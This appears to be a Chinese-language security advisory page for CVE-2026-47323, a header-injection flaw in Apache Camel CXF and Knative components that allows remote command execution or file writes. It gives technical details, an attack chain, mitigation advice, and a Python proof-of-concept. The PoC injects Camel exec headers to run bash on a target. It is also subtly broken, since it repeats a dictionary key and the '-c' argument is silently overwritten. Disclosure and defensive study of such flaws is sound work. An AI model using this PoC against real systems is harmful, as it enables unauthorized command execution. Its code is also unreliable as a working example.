IPBUF安全漏洞报告
English
CVE-2026-47323 CVSS 9.8 严重

CVE-2026-47323 Apache Camel消息头注入漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-47323
漏洞类型
消息头注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Camel

相关标签

远程代码执行消息头注入Apache CamelCVE-2026-47323

漏洞概述

Apache Camel的CXF和Knative组件存在消息头注入漏洞。由于HeaderFilterStrategy实现未配置入站过滤,未认证攻击者可通过HTTP请求注入Camel内部消息头(如CamelExecCommandExecutable、CamelFileName)。当路由将消息转发至如camel-exec或camel-file等组件时,注入的消息头会覆盖配置值,从而导致远程代码执行或任意文件写入。

技术细节

该漏洞源于Apache Camel中CxfRsHeaderFilterStrategy、CxfHeaderFilterStrategy和KnativeHttpHeaderFilterStrategy的实现缺陷。这些策略仅通过setOutFilterStartsWith过滤出站Camel内部消息头,而未配置setInFilterStartsWith进行入站过滤。攻击者可利用此漏洞,向CXF-RS或CXF-SOAP端点发送特制的HTTP请求,注入如CamelExecCommandExecutable或CamelFileName等内部消息头。当Camel路由将这些受污染的消息转发给依赖消息头驱动的组件(例如camel-exec或camel-file)时,注入的恶意消息头将覆盖组件原本配置的安全参数。这种覆盖机制使得攻击者能够在服务器上执行任意系统命令或写入任意文件,从而完全控制受影响系统。此问题与此前修复的camel-undertow漏洞模式类似。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出暴露在互联网上的Apache Camel CXF-RS或CXF-SOAP端点。
STEP 2
2. 恶意请求构造
攻击者构造HTTP请求,在请求头中注入Camel内部消息头,如CamelExecCommandExecutable(用于指定执行命令)或CamelFileName(用于指定文件名)。
STEP 3
3. 消息头注入
由于缺少入站过滤,恶意请求头随消息一起进入Camel路由。
STEP 4
4. 参数覆盖与执行
当路由将消息转发给camel-exec或camel-file等组件时,注入的消息头覆盖了原有配置,导致系统执行攻击者指定的命令或写入恶意文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_cve_2026_47323(target_url): # Exploit: Injecting Camel internal header to execute commands # Target: camel-exec component listening on the endpoint headers = { "CamelExecCommandExecutable": "/bin/bash", "CamelExecCommandArgs": "-c", "CamelExecCommandArgs": "echo 'CVE-2026-47323 POC' > /tmp/pwned" } try: response = requests.get(target_url, headers=headers, timeout=5) print(f"[+] Request sent to {target_url}") print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Potential command executed via header injection.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-camel-instance:8080/service/endpoint" exploit_cve_2026_47323(target)

影响范围

Apache Camel 3.18.0 至 4.14.6 之前
Apache Camel 4.15.0 至 4.18.2 之前

防御指南

临时缓解措施
建议立即升级至修复版本。如果无法立即升级,请检查并限制对 Camel CXF 和 Knative 端点的网络访问,确保仅有可信来源可以发送请求,并在路由层面增加额外的消息头清洗逻辑以过滤 Camel 内部消息头。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表